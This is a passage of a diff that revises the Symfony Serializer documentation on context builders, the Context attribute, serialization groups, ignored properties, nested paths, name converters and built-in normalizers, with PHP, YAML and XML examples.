-.. versionadded:: 6.4
+    // ...
+    $serializer->serialize($person, 'json', [
+        AbstractObjectNormalizer::SKIP_NULL_VALUES => true
+    ]);
 
-    The ``#[Context]`` attribute was introduced in Symfony 6.4.
+    // next calls to serialize() will NOT skip null values
 
 .. _serializer-using-context-builders:
 
 Using Context Builders
-----------------------
+""""""""""""""""""""""
 
 .. versionadded:: 6.1
 
     Context builders were introduced in Symfony 6.1.
 
-To define the (de)serialization context, you can use "context builders", which
-are objects that help you to create that context by providing autocompletion,
-validation, and documentation::
+You can use "context builders" to help define the (de)serialization
+context. Context builders are PHP objects that provide autocompletion,
+validation, and documentation of context options::
 
     use Symfony\Component\Serializer\Context\Normalizer\DateTimeNormalizerContextBuilder;
 
-    $contextBuilder = (new DateTimeNormalizerContextBuilder())->withFormat('Y-m-d H:i:s');
+    $contextBuilder = (new DateTimeNormalizerContextBuilder())
+        ->withFormat('Y-m-d H:i:s');
     $serializer->serialize($something, 'json', $contextBuilder->toArray());
 
-Each normalizer/encoder has its related :ref:`context builder <component-serializer-context-builders>`.
-To create a more complex (de)serialization context, you can chain them using the
+Each normalizer/encoder has its related context builder. To create a more
+complex (de)serialization context, you can chain them using the
 ``withContext()`` method::
 
     use Symfony\Component\Serializer\Context\Encoder\CsvEncoderContextBuilder;
@@ -312,129 +419,111 @@ To create a more complex (de)serialization context, you can chain them using the
 
     $serializer->serialize($something, 'csv', $contextBuilder->toArray());
 
-You can also :doc:`create your context builders </serializer/custom_context_builders>`
-to have autocompletion, validation, and documentation for your custom context values.
-
-.. _serializer-using-serialization-groups-attributes:
-
-Using Serialization Groups Attributes
--------------------------------------
-
-You can add :ref:`#[Groups] attributes <component-serializer-attributes-groups-attributes>`
-to your class properties::
-
-    // src/Entity/Product.php
-    namespace App\Entity;
-
-    use Doctrine\ORM\Mapping as ORM;
-    use Symfony\Component\Serializer\Annotation\Groups;
-
-    #[ORM\Entity]
-    class Product
-    {
-        #[ORM\Id]
-        #[ORM\GeneratedValue]
-        #[ORM\Column(type: 'integer')]
-        #[Groups(['show_product', 'list_product'])]
-        private int $id;
-
-        #[ORM\Column(type: 'string', length: 255)]
-        #[Groups(['show_product', 'list_product'])]
-        private string $name;
-
-        #[ORM\Column(type: 'text')]
-        #[Groups(['show_product'])]
-        private string $description;
-    }
-
-You can also use the ``#[Groups]`` attribute on class level::
+.. seealso::
 
-    #[ORM\Entity]
-    #[Groups(['show_product'])]
-    class Product
-    {
-        #[ORM\Id]
-        #[ORM\GeneratedValue]
-        #[ORM\Column(type: 'integer')]
-        #[Groups(['list_product'])]
-        private int $id;
+    You can also :doc:`create your context builders </serializer/custom_context_builders>`
+    to have autocompletion, validation, and documentation for your custom
+    context values.
 
-        #[ORM\Column(type: 'string', length: 255)]
-        #[Groups(['list_product'])]
-        private string $name;
+Configure Context on a Specific Property
+........................................
 
-        #[ORM\Column(type: 'text')]
-        private string $description;
-    }
+At last, you can also configure context values on a specific object
+property. For instance, to configure the datetime format:
 
-In this example, the ``id`` and the ``name`` properties belong to the
-``show_product`` and ``list_product`` groups. The ``description`` property
-only belongs to the ``show_product`` group.
+.. configuration-block::
 
-.. versionadded:: 6.4
+    .. code-block:: php-attributes
 
-    The support of the ``#[Groups]`` attribute on class level was
-    introduced in Symfony 6.4.
+        // src/Model/Person.php
 
-Now that your groups are defined, you can choose which groups to use when
-serializing::
+        // ...
+        use Symfony\Component\Serializer\Attribute\Context;
+        use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
 
-    use Symfony\Component\Serializer\Context\Normalizer\ObjectNormalizerContextBuilder;
+        class Person
+        {
+            #[Context([DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'])]
+            public \DateTimeImmutable $createdAt;
 
-    $context = (new ObjectNormalizerContextBuilder())
-        ->withGroups('show_product')
-        ->toArray();
+            // ...
+        }
 
-    $json = $serializer->serialize($product, 'json', $context);
+    .. code-block:: yaml
 
-.. tip::
+        # config/serializer/person.yaml
+        App\Model\Person:
+            attributes:
+                createdAt:
+                    contexts:
+                        - context: { datetime_format: 'Y-m-d' }
 
-    The value of the ``groups`` key can be a single string, or an array of strings.
+    .. code-block:: xml
 
-In addition to the ``#[Groups]`` attribute, the Serializer component also
-supports YAML or XML files. These files are automatically loaded when being
-stored in one of the following locations:
+        <!-- config/serializer/person.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="createdAt">
+                    <context>
+                        <entry name="datetime_format">Y-m-d</entry>
+                    </context>
+                </attribute>
+            </class>
+        </serializer>
 
-* All ``*.yaml`` and ``*.xml`` files in the ``config/serializer/``
-  directory.
-* The ``serialization.yaml`` or ``serialization.xml`` file in
-  the ``Resources/config/`` directory of a bundle;
-* All ``*.yaml`` and ``*.xml`` files in the ``Resources/config/serialization/``
-  directory of a bundle.
+.. note::
 
-.. _serializer-enabling-metadata-cache:
+    When using YAML or XML, the mapping files must be placed in one of
+    these locations:
 
-Using Nested Attributes
------------------------
+    * All ``*.yaml`` and ``*.xml`` files in the ``config/serializer/``
+      directory.
+    * The ``serialization.yaml`` or ``serialization.xml`` file in the
+      ``Resources/config/`` directory of a bundle;
+    * All ``*.yaml`` and ``*.xml`` files in the ``Resources/config/serialization/``
+      directory of a bundle.
 
-To map nested properties, use the ``SerializedPath`` configuration to define
-their paths using a :doc:`valid PropertyAccess syntax </components/property_access>`:
+You can also specify a context specific to normalization or denormalization:
 
 .. configuration-block::
 
     .. code-block:: php-attributes
 
-        namespace App\Model;
+        // src/Model/Person.php
 
-        use Symfony\Component\Serializer\Attribute\SerializedPath;
+        // ...
+        use Symfony\Component\Serializer\Attribute\Context;
+        use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
 
         class Person
         {
-            #[SerializedPath('[profile][information][birthday]')]
-            private string $birthday;
+            #[Context(
+                normalizationContext: [DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'],
+                denormalizationContext: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339],
+            )]
+            public \DateTimeImmutable $createdAt;
 
             // ...
         }
 
     .. code-block:: yaml
 
+        # config/serializer/person.yaml
         App\Model\Person:
             attributes:
-                dob:
-                    serialized_path: '[profile][information][birthday]'
+                createdAt:
+                    contexts:
+                        - normalizationContext: { datetime_format: 'Y-m-d' }
+                          denormalizationContext: { datetime_format: !php/const \DateTime::RFC3339 }
 
     .. code-block:: xml
 
+        <!-- config/serializer/person.xml -->
         <?xml version="1.0" encoding="UTF-8" ?>
         <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
@@ -442,81 +531,959 @@ their paths using a :doc:`valid PropertyAccess syntax </components/property_acce
                 https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
         >
             <class name="App\Model\Person">
-                <attribute name="dob" serialized-path="[profile][information][birthday]"/>
+                <attribute name="createdAt">
+                    <normalization-context>
+                        <entry name="datetime_format">Y-m-d</entry>
+                    </normalization-context>
+
+                    <denormalization-context>
+                        <entry name="datetime_format">Y-m-d\TH:i:sP</entry>
+                    </denormalization-context>
+                </attribute>
             </class>
         </serializer>
 
-.. versionadded:: 6.2
-
-    The option to configure a ``SerializedPath`` was introduced in Symfony 6.2.
-
-Using the configuration from above, denormalizing with a metadata-aware
-normalizer will write the ``birthday`` field from ``$data`` onto the ``Person``
-object::
+.. _serializer-context-group:
 
-    $data = [
-        'profile' => [
-            'information' => [
-                'birthday' => '01-01-1970',
-            ],
-        ],
-    ];
-    $person = $normalizer->denormalize($data, Person::class, 'any');
-    $person->getBirthday(); // 01-01-1970
+You can also restrict the usage of a context to some
+:ref:`groups <serializer-groups-attribute>`:
 
-When using attributes, the ``SerializedPath`` can either
-be set on the property or the associated _getter_ method. The ``SerializedPath``
-cannot be used in combination with a ``SerializedName`` for the same property.
-
-Configuring the Metadata Cache
-------------------------------
+.. configuration-block::
 
-The metadata for the serializer is automatically cached to enhance application
-performance. By default, the serializer uses the ``cache.system`` cache pool
-which is configured using the :ref:`cache.system <reference-cache-system>`
-option.
+    .. code-block:: php-attributes
 
-Enabling a Name Converter
--------------------------
+        // src/Model/Person.php
 
-The use of a :ref:`name converter <component-serializer-converting-property-names-when-serializing-and-deserializing>`
-service can be defined in the configuration using the :ref:`name_converter <reference-serializer-name_converter>`
-option.
+        // ...
+        use Symfony\Component\Serializer\Attribute\Context;
+        use Symfony\Component\Serializer\Attribute\Groups;
+        use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
 
-The built-in :ref:`CamelCase to snake_case name converter <using-camelized-method-names-for-underscored-attributes>`
-can be enabled by using the ``serializer.name_converter.camel_case_to_snake_case``
-value:
+        class Person
+        {
+            #[Groups(['extended'])]
+            #[Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])]
+            #[Context(
+                context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED],
+                groups: ['extended'],
+            )]
+            public \DateTimeImmutable $createdAt;
 
-.. configuration-block::
+            // ...
+        }
 
     .. code-block:: yaml
 
-        # config/packages/framework.yaml
-        framework:
-            # ...
-            serializer:
-                name_converter: 'serializer.name_converter.camel_case_to_snake_case'
+        # config/serializer/person.yaml
+        App\Model\Person:
+            attributes:
+                createdAt:
+                    groups: [extended]
+                    contexts:
+                        - context: { datetime_format: !php/const \DateTime::RFC3339 }
+                        - context: { datetime_format: !php/const \DateTime::RFC3339_EXTENDED }
+                          groups: [extended]
 
     .. code-block:: xml
 
-        <!-- config/packages/framework.xml -->
-        <framework:config>
-            <!-- ... -->
-            <framework:serializer name-converter="serializer.name_converter.camel_case_to_snake_case"/>
-        </framework:config>
+        <!-- config/serializer/person.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="createdAt">
+                    <group>extended</group>
 
-    .. code-block:: php
+                    <context>
+                        <entry name="datetime_format">Y-m-d\TH:i:sP</entry>
+                    </context>
+                    <context>
+                        <entry name="datetime_format">Y-m-d\TH:i:s.vP</entry>
+                        <group>extended</group>
+                    </context>
+                </attribute>
+            </class>
+        </serializer>
 
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
+The attribute can be repeated as much as needed on a single property.
+Context without group is always applied first. Then context for the
+matching groups are merged in the provided order.
+
+If you repeat the same context in multiple properties, consider using the
+``#[Context]`` attribute on your class to apply that context configuration to
+all the properties of the class::
+
+    namespace App\Model;
+
+    use Symfony\Component\Serializer\Attribute\Context;
+    use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+
+    #[Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])]
+    #[Context(
+        context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED],
+        groups: ['extended'],
+    )]
+    class Person
+    {
+        // ...
+    }
+
+Serializing to or from PHP Arrays
+---------------------------------
+
+The default :class:`Symfony\\Component\\Serializer\\Serializer` can also be
+used to only perform one step of the :ref:`two step serialization process <serializer-process>`
+by using the respective interface:
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        use Symfony\Component\Serializer\Encoder\DecoderInterface;
+        use Symfony\Component\Serializer\Encoder\EncoderInterface;
+        use Symfony\Component\Serializer\Normalizer\DenormalizerInterface;
+        use Symfony\Component\Serializer\Normalizer\NormalizerInterface;
+        // ...
+
+        class PersonController extends AbstractController
+        {
+            public function index(DenormalizerInterface&NormalizerInterface $serializer): Response
+            {
+                $person = new Person('Jane Doe', 39, false);
+
+                // use normalize() to convert a PHP object to an array
+                $personArray = $serializer->normalize($person, 'json');
+
+                // ...and denormalize() to convert an array back to a PHP object
+                $personCopy = $serializer->denormalize($personArray, Person::class);
+
+                // ...
+            }
+
+            public function json(DecoderInterface&EncoderInterface $serializer): Response
+            {
+                $data = ['name' => 'Jane Doe'];
+
+                // use encode() to transform PHP arrays into another format
+                $json = $serializer->encode($data, 'json');
+
+                // ...and decode() to transform any format to just PHP arrays (instead of objects)
+                $data = $serializer->decode('{"name":"Charlie Doe"}', 'json');
+                // $data contains ['name' => 'Charlie Doe']
+            }
+        }
+
+    .. code-block:: php-standalone
+
+        use App\Model\Person;
+        use Symfony\Component\Serializer\Encoder\JsonEncoder;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+        use Symfony\Component\Serializer\Serializer;
+
+        $encoders = [new JsonEncoder()];
+        $normalizers = [new ObjectNormalizer()];
+        $serializer = new Serializer($normalizers, $encoders);
+
+        // use normalize() to convert a PHP object to an array
+        $personArray = $serializer->normalize($person, 'json');
+
+        // ...and denormalize() to convert an array back to a PHP object
+        $personCopy = $serializer->denormalize($personArray, Person::class);
+
+        $data = ['name' => 'Jane Doe'];
+
+        // use encode() to transform PHP arrays into another format
+        $json = $serializer->encode($data, 'json');
+
+        // ...and decode() to transform any format to just PHP arrays (instead of objects)
+        $data = $serializer->decode('{"name":"Charlie Doe"}', 'json');
+        // $data contains ['name' => 'Charlie Doe']
+
+.. _serializer_ignoring-attributes:
+
+Ignoring Properties
+-------------------
+
+The ``ObjectNormalizer`` normalizes *all* properties of an object and all
+methods starting with ``get*()``, ``has*()``, ``is*()`` and ``can*()``.
+Some properties or methods should never be serialized. You can exclude
+them using the ``#[Ignore]`` attribute:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Model/Person.php
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Attribute\Ignore;
+
+        class Person
+        {
+            // ...
+
+            #[Ignore]
+            public function isPotentiallySpamUser(): bool
+            {
+                // ...
+            }
+        }
+
+    .. code-block:: yaml
+
+        App\Model\Person:
+            attributes:
+                potentiallySpamUser:
+                    ignore: true
+
+    .. code-block:: xml
+
+        <?xml version="1.0" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="potentiallySpamUser" ignore="true"/>
+            </class>
+        </serializer>
+
+The ``potentiallySpamUser`` property will now never be serialized:
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        use App\Model\Person;
+
+        // ...
+        $person = new Person('Jane Doe', 32, false);
+        $json = $serializer->serialize($person, 'json');
+        // $json contains {"name":"Jane Doe","age":32,"sportsperson":false}
+
+        $person1 = $serializer->deserialize(
+            '{"name":"Jane Doe","age":32,"sportsperson":false","potentiallySpamUser":false}',
+            Person::class,
+            'json'
+        );
+        // the "potentiallySpamUser" value is ignored
+
+    .. code-block:: php-standalone
+
+        use App\Model\Person;
+        use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
+        use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+        use Symfony\Component\Serializer\Serializer;
+
+        // ...
+
+        // you need to pass a class metadata factory with a loader to the
+        // ObjectNormalizer when reading mapping information like Ignore or Groups.
+        // E.g. when using PHP attributes:
+        $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
+        $normalizers = [new ObjectNormalizer($classMetadataFactory)];
+
+        $serializer = new Serializer($normalizers, $encoders);
+
+        $person = new Person('Jane Doe', 32, false);
+        $json = $serializer->serialize($person, 'json');
+        // $json contains {"name":"Jane Doe","age":32,"sportsperson":false}
+
+        $person1 = $serializer->deserialize(
+            '{"name":"Jane Doe","age":32,"sportsperson":false","potentiallySpamUser":false}',
+            Person::class,
+            'json'
+        );
+        // the "potentiallySpamUser" value is ignored
+
+Ignoring Attributes Using the Context
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You can also pass an array of attribute names to ignore at runtime using
+the ``ignored_attributes`` context options::
+
+    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
+
+    // ...
+    $person = new Person('Jane Doe', 32, false);
+    $json = $serializer->serialize($person, 'json',
+    [
+        AbstractNormalizer::IGNORED_ATTRIBUTES => ['age'],
+    ]);
+    // $json contains {"name":"Jane Doe","sportsperson":false}
+
+However, this can quickly become unmaintainable if used excessively. See
+the next section about *serialization groups* for a better solution.
+
+.. _serializer-groups-attribute:
+
+Selecting Specific Properties
+-----------------------------
+
+Instead of excluding a property or method in all situations, you might need
+to exclude some properties in one place, but serialize them in another.
+Groups are a handy way to achieve this.
+
+You can add the ``#[Groups]`` attribute to your class:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Model/Person.php
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Attribute\Groups;
+
+        class Person
+        {
+            #[Groups(["admin-view"])]
+            private int $age;
+
+            #[Groups(["public-view"])]
+            private string $name;
+
+            #[Groups(["public-view"])]
+            private bool $sportsperson;
+
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        # config/serializer/person.yaml
+        App\Model\Person:
+            attributes:
+                age:
+                    groups: ['admin-view']
+                name:
+                    groups: ['public-view']
+                sportsperson:
+                    groups: ['public-view']
+
+    .. code-block:: xml
+
+        <!-- config/serializer/person.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="age">
+                    <group>admin-view</group>
+                </attribute>
+                <attribute name="name">
+                    <group>public-view</group>
+                </attribute>
+                <attribute name="sportsperson">
+                    <group>public-view</group>
+                </attribute>
+            </class>
+        </serializer>
+
+You can now choose which groups to use when serializing::
+
+    $json = $serializer->serialize(
+        $person,
+        'json',
+        ['groups' => 'public-view']
+    );
+    // $json contains {"name":"Jane Doe","sportsperson":false}
+
+    // you can also pass an array of groups
+    $json = $serializer->serialize(
+        $person,
+        'json',
+        ['groups' => ['public-view', 'admin-view']]
+    );
+    // $json contains {"name":"Jane Doe","age":32,"sportsperson":false}
+
+    // or use the special "*" value to select all groups
+    $json = $serializer->serialize(
+        $person,
+        'json',
+        ['groups' => '*']
+    );
+    // $json contains {"name":"Jane Doe","age":32,"sportsperson":false}
+
+Using the Serialization Context
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+At last, you can also use the ``attributes`` context option to select
+properties at runtime::
+
+    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
+    // ...
+
+    $json = $serializer->serialize($person, 'json', [
+        AbstractNormalizer::ATTRIBUTES => ['name', 'company' => ['name']]
+    ]);
+    // $json contains {"name":"Dunglas","company":{"name":"Les-Tilleuls.coop"}}
+
+Only attributes that are :ref:`not ignored <serializer_ignoring-attributes>`
+are available. If serialization groups are set, only attributes allowed by
+those groups can be used.
+
+.. _serializer-handling-arrays:
+
+Handling Arrays
+---------------
+
+The serializer is capable of handling arrays of objects. Serializing arrays
+works just like serializing a single object::
+
+    use App\Model\Person;
+
+    // ...
+    $person1 = new Person('Jane Doe', 39, false);
+    $person2 = new Person('John Smith', 52, true);
+
+    $persons = [$person1, $person2];
+    $JsonContent = $serializer->serialize($persons, 'json');
+
+    // $jsonContent contains [{"name":"Jane Doe","age":39,"sportsman":false},{"name":"John Smith","age":52,"sportsman":true}]
+
+To deserialize a list of objects, you have to append ``[]`` to the type
+parameter::
+
+    // ...
+
+    $jsonData = ...; // the serialized JSON data from the previous example
+    $persons = $serializer->deserialize($JsonData, Person::class.'[]', 'json');
+
+For nested classes, you have to add a PHPDoc type to the property/setter::
+
+    // src/Model/UserGroup.php
+    namespace App\Model;
+
+    class UserGroup
+    {
+        private array $members;
+
+        // ...
+
+        /**
+         * @param Person[] $members
+         */
+        public function setMembers(array $members): void
+        {
+            $this->members = $members;
+        }
+    }
+
+.. tip::
+
+    The Serializer also supports array types used in static analysis, like
+    ``list<Person>`` and ``array<Person>``. Make sure the
+    ``phpstan/phpdoc-parser`` and ``phpdocumentor/reflection-docblock``
+    packages are installed (these are part of the ``symfony/serializer-pack``).
+
+.. _serializer-nested-structures:
+
+Deserializing Nested Structures
+-------------------------------
+
+.. versionadded:: 6.2
+
+    The option to configure a ``SerializedPath`` was introduced in Symfony 6.2.
+
+Some APIs might provide verbose nested structures that you want to flatten
+in the PHP object. For instance, imagine a JSON response like this:
+
+.. code-block:: json
+
+    {
+        "id": "123",
+        "profile": {
+            "username": "jdoe",
+            "personal_information": {
+                "full_name": "Jane Doe"
+            }
+        }
+    }
+
+You may wish to serialize this information to a single PHP object like::
+
+    class Person
+    {
+        private int $id;
+        private string $username;
+        private string $fullName;
+    }
+
+Use the ``#[SerializedPath]`` to specify the path of the nested property
+using :doc:`valid PropertyAccess syntax </components/property_access>`:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Attribute\SerializedPath;
+
+        class Person
+        {
+            private int $id;
+
+            #[SerializedPath('[profile][username]')]
+            private string $username;
+
+            #[SerializedPath('[profile][personal_information][full_name]')]
+            private string $fullName;
+        }
+
+    .. code-block:: yaml
+
+        App\Model\Person:
+            attributes:
+                username:
+                    serialized_path: '[profile][username]'
+                fullName:
+                    serialized_path: '[profile][personal_information][full_name]'
+
+    .. code-block:: xml
+
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="username" serialized-path="[profile][username]"/>
+                <attribute name="fullName" serialized-path="[profile][personal_information][full_name]"/>
+            </class>
+        </serializer>
+
+.. caution::
+
+    The ``SerializedPath`` cannot be used in combination with a
+    ``SerializedName`` for the same property.
+
+The ``#[SerializedPath]`` attribute also applies to the serialization of a
+PHP object::
+
+    use App\Model\Person;
+    // ...
+
+    $person = new Person(123, 'jdoe', 'Jane Doe');
+    $jsonContent = $serializer->serialize($person, 'json');
+    // $jsonContent contains {"id":123,"profile":{"username":"jdoe","personal_information":{"full_name":"Jane Doe"}}}
+
+.. _serializer-name-conversion:
+
+Converting Property Names when Serializing and Deserializing
+------------------------------------------------------------
+
+Sometimes serialized attributes must be named differently than properties
+or getter/setter methods of PHP classes. This can be achieved using name
+converters.
+
+The serializer service uses the
+:class:`Symfony\\Component\\Serializer\\NameConverter\\MetadataAwareNameConverter`.
+With this name converter, you can change the name of an attribute using
+the ``#[SerializedName]`` attribute:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Model/Person.php
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Attribute\SerializedName;
+
+        class Person
+        {
+            #[SerializedName('customer_name')]
+            private string $name;
+
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        # config/serializer/person.yaml
+        App\Entity\Person:
+            attributes:
+                name:
+                    serialized_name: customer_name
+
+    .. code-block:: xml
+
+        <!-- config/serializer/person.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Entity\Person">
+                <attribute name="name" serialized-name="customer_name"/>
+            </class>
+        </serializer>
+
+This custom mapping is used to convert property names when serializing and
+deserializing objects:
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        // ...
+
+        $json = $serializer->serialize($person, 'json');
+        // $json contains {"customer_name":"Jane Doe", ...}
+
+    .. code-block:: php-standalone
+
+        use App\Model\Person;
+        use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
+        use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
+        use Symfony\Component\Serializer\NameConverter\MetadataAwareNameConverter;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+        use Symfony\Component\Serializer\Serializer;
+
+        // ...
+
+        // Configure a loader to retrieve mapping information like SerializedName.
+        // E.g. when using PHP attributes:
+        $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
+        $nameConverter = new MetadataAwareNameConverter($classMetadataFactory);
+        $normalizers = [
+            new ObjectNormalizer($classMetadataFactory, $nameConverter),
+        ];
+
+        $serializer = new Serializer($normalizers, $encoders);
+
+        $person = new Person('Jane Doe', 32, false);
+        $json = $serializer->serialize($person, 'json');
+        // $json contains {"customer_name":"Jane Doe", ...}
+
+.. seealso::
+
+    You can also create a custom name converter class. Read more about this
+    in :doc:`/serializer/custom_name_converter`.
+
+.. _using-camelized-method-names-for-underscored-attributes:
+
+CamelCase to snake_case
+~~~~~~~~~~~~~~~~~~~~~~~
+
+In many formats, it's common to use underscores to separate words (also known
+as snake_case). However, in Symfony applications is common to use camelCase to
+name properties.
+
+Symfony provides a built-in name converter designed to transform between
+snake_case and CamelCased styles during serialization and deserialization
+processes. You can use it instead of the metadata aware name converter by
+setting the ``name_converter`` setting to
+``serializer.name_converter.camel_case_to_snake_case``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/serializer.yaml
+        framework:
+            serializer:
+                name_converter: 'serializer.name_converter.camel_case_to_snake_case'
+
+    .. code-block:: xml
+
+        <!-- config/packages/serializer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:serializer
+                    name-converter="serializer.name_converter.camel_case_to_snake_case"
+                />
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/serializer.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $framework->serializer()
+                ->nameConverter('serializer.name_converter.camel_case_to_snake_case')
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\Serializer\NameConverter\CamelCaseToSnakeCaseNameConverter;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+
+        // ...
+        $normalizers = [
+            new ObjectNormalizer(null, new CamelCaseToSnakeCaseNameConverter()),
+        ];
+        $serializer = new Serializer($normalizers, $encoders);
+
+.. _serializer-built-in-normalizers:
+
+Serializer Normalizers
+----------------------
+
+By default, the serializer service is configured with the following
+normalizers (in order of priority):
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\UnwrappingDenormalizer`
+    Can be used to only denormalize a part of the input, read more about
+    this :ref:`later in this article <serializer-unwrapping-denormalizer>`.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
+    Normalizes :class:`Symfony\\Component\\ErrorHandler\\Exception\\FlattenException`
+    errors according to the API Problem spec `RFC 7807`_.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\UidNormalizer`
+    Normalizes objects that extend :class:`Symfony\\Component\\Uid\\AbstractUid`.
+
+    The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Uuid`
+    is the `RFC 4122`_ format (example: ``d9e7a184-5d5b-11ea-a62a-3499710062d0``).
+    The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Ulid`
+    is the Base 32 format (example: ``01E439TP9XJZ9RPFH3T1PYBCR8``).
+    You can change the string format by setting the serializer context option
+    ``UidNormalizer::NORMALIZATION_FORMAT_KEY`` to ``UidNormalizer::NORMALIZATION_FORMAT_BASE_58``,
+    ``UidNormalizer::NORMALIZATION_FORMAT_BASE_32`` or ``UidNormalizer::NORMALIZATION_FORMAT_RFC_4122``.
+
+    Also it can denormalize ``uuid`` or ``ulid`` strings to :class:`Symfony\\Component\\Uid\\Uuid`
+    or :class:`Symfony\\Component\\Uid\\Ulid`. The format does not matter.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer`
+    This normalizes between :phpclass:`DateTimeInterface` objects (e.g.
+    :phpclass:`DateTime` and :phpclass:`DateTimeImmutable`) and strings.
+
+    By default, the `RFC 3339`_ format is used when normalizing the value.
+    Use ``DateTimeNormalizer::FORMAT_KEY`` and ``DateTimeNormalizer::TIMEZONE_KEY``
+    to change the format.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer`
+    This normalizer converts objects that implement
+    :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface`
+    into a list of errors according to the `RFC 7807`_ standard.
+
+:class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer`
